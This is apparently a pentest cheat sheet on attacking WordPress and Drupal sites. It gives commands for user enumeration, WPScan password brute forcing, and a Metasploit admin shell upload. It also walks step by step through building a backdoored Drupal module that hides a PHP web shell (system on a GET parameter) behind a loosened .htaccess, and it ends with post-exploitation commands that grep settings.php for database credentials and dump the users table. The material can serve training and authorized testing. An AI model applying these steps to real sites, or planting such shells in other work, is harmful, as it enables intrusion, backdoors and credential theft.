# 8.1 - Wordpress & Drupal

## Wordpress

#### **Basic Information**

**Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)

In **wp-config.php** you can find the root password of the database.

Default login paths to check: ***/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/***

#### **Main WordPress Files**

* `index.php`
* `license.txt` contains useful information such as the version WordPress installed.
* `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
* Login folders (may be renamed to hide it):
  * `/wp-admin/login.php`
  * `/wp-admin/wp-login.php`
  * `/login.php`
  * `/wp-login.php`
* `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
* The `wp-content` folder is the main directory where plugins and themes are stored.
* `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
* `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.

**Post exploitation**

* The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

**Users Permissions**

* **Administrator**
* **Editor**: Publish and manages his and others posts
* **Author**: Publish and manage his own posts
* **Contributor**: Write and manage his posts but cannot publish them
* **Subscriber**: Browser posts and edit their profile

#### **Passive Enumeration**

**Get WordPress version**

Check if you can find the files `/license.txt` or `/readme.html`

Inside the **source code** of the page (example from <https://wordpress.org/support/article/pages/>):

* Grep

```bash
curl https://victim.com/ | grep 'content="WordPress'
```

* Meta name

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FiNIScuO5XrJod6eIswM6%2Fimage.png?alt=media&#x26;token=53bfe608-f25f-4cfd-af8b-674b2b6f06ff" alt=""><figcaption></figcaption></figure>

* CSS link files

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FxSXSMvOCiQLtIXIO4l8o%2Fimage.png?alt=media&#x26;token=c7bf6a60-4288-4815-87a9-6bfb0b281879" alt=""><figcaption></figcaption></figure>

* JavaScript files

#### **Get Plugins**

```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```

#### **Get Themes**

```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```

#### **Extract versions in general**

```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```

#### **Active enumeration**

#### **Plugins and Themes**

You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** (hopefully for us there are automated tools that contains this lists).

**Users**

**ID Brute**

You get valid users from a WordPress site by Brute Forcing users IDs:

```bash
curl -s -I -X GET http://blog.example.com/?author=1
```

If the responses are **200** or **30X**, that means that the id is **valid**. If the the response is **400**, then the id is **invalid**.

**wp-json**

You can also try to get information about the users by querying:

```bash
curl http://blog.example.com/wp-json/wp/v2/users
```

**Only information about the users that has this feature enable will be provided**.

Also note that **/wp-json/wp/v2/pages** could leak IP addresses.

**Login username enumeration**

When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.

**WPScan**

```bash
wpscan -h #List WPscan Parameters
wpscan --update #Update WPscan

#Enumerate WordPress using WPscan


wpscan --url "http://<TARGET_IP>" -e t #All Themes Installed

wpscan --url "http://<TARGET_IP>" -e vt #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e p #All Plugins Installed

wpscan --url "http://<TARGET_IP>"  -e vp #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e u #WordPress Users

wpscan --url "http://<TARGET_IP>"  --passwords path-to-wordlist #Brute Force WordPress Passwords

#Upload Reverse Shell to WordPress
http://<IP>/wordpress/wp-content/themes/twentyfifteen/404.php

#Upload using Metasploit
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set USERNAME admin
msf exploit(wp_admin_shell_upload) > set PASSWORD admin
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit
```

## Drupal

#### Discovery

* Check **meta**

```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```

* **Node**: Drupal **indexes its content using nodes**. A node can **hold anything** such as a blog post, poll, article, etc. The page URIs are usually of the form `/node/<nodeid>`.

```bash
curl drupal-site.com/node/1
```

#### Enumeration

Drupal supports **three types of users** by default:

1. **`Administrator`**: This user has complete control over the Drupal website.
2. **`Authenticated User`**: These users can log in to the website and perform operations such as adding and editing articles based on their permissions.
3. **`Anonymous`**: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.

**Version**

* Check `/CHANGELOG.txt`

```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21
```

{% hint style="info" %} Newer installs of Drupal by default block access to the `CHANGELOG.txt` and `README.txt` files. {% endhint %}

#### **Username enumeration**

**Register**

In */user/register* just try to create a username and if the name is already taken it will be notified:

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FeAzYPsfasOtIb3EMonyJ%2Fimage.png?alt=media&#x26;token=b4d3c321-cea7-44e3-926d-9c91fab3c69c" alt=""><figcaption></figcaption></figure>

**Request new password**

If you request a new password for an existing username:

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FN1boSiB3PCYNaLLXqhXD%2Fimage.png?alt=media&#x26;token=1c2efd91-b6ce-428c-8cae-5978d4482838" alt=""><figcaption></figcaption></figure>

If you request a new password for a non-existent username:

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FWkYsf4mEZRxF5fhv657T%2Fimage.png?alt=media&#x26;token=376044ca-6d5a-4afc-831c-388508d2eb57" alt=""><figcaption></figcaption></figure>

**Get number of users**

Accessing */user/\<number>* you can see the number of existing users, in this case is 2 as */users/3* returns a not found error:

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FWN43NnFfcJwLJQ6nHNIW%2Fimage.png?alt=media&#x26;token=7f46f0a6-25d1-4620-b59b-a7d9da8a971b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2Fh4azBNMFPNMJns7fYu8k%2Fimage.png?alt=media&#x26;token=864f16d0-979d-4a8b-bc51-9b80daf8f251" alt=""><figcaption></figcaption></figure>

**Hidden pages**

**Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\
You could find **hidden pages** (test, dev) which are not referenced by the search engines.

**Installed modules info**

```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```

**Automatic**

```bash
droopescan scan drupal -u http://drupal-site.local
```

**RCE**

**With PHP Filter Module**

{% hint style="warning" %} In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." {% endhint %}

You need the **plugin php to be installed** (check it accessing to */modules/php* and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)

Go to *Modules* -> (**Check**) *PHP Filter* -> *Save configuration*

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FkyQQ5Ue8ZVXAL38Dprhi%2Fimage.png?alt=media&#x26;token=8c287b3a-1fef-4dda-a6fe-0c02ab1eeb42" alt=""><figcaption></figcaption></figure>

Then click on *Add content* -> Select *Basic Page* or *Article -*> Write *php shellcode on the body* -> Select *PHP code* in *Text format* -> Select *Preview*

<figure><img src="https://1357648772-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FesKkkNq5JVqzRLKWf4Ug%2Fuploads%2FGxv3o0uoJ2wTVVoQc8Bf%2Fimage.png?alt=media&#x26;token=c37a2b82-5a3b-46be-a664-20ee0fcf1c7a" alt=""><figcaption></figcaption></figure>

Finally just access the newly created node:

```
curl http://drupal-site.local/node/3
```

**Install PHP Filter Module**

From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.

1. Download the most recent version of the module from the Drupal website.
   1. wget <https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz>
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.

**Backdoored Module**

A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).

* Download the archive and extract its contents.

```bash
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

* Create a **PHP web shell** with the contents:

```bash
<?php
system($_GET["cmd"]);
?>
```

* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.

```bash
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.

```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```

* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.

**Post Exploitation**

**Read settings.php**

```bash
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```

**Dump users from DB**

```bash
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```

**\[CVE-2018-7600] Drupalgeddon 2**

<https://ine.com/blog/cve-2018-7600-drupalgeddon-2>

In late March 2018, a critical vulnerability was uncovered in Drupal CMS. **Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1** versions were affected by this vulnerability.

It allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or standard module configurations.

A lot of PoC is available to exploit this vulnerability.
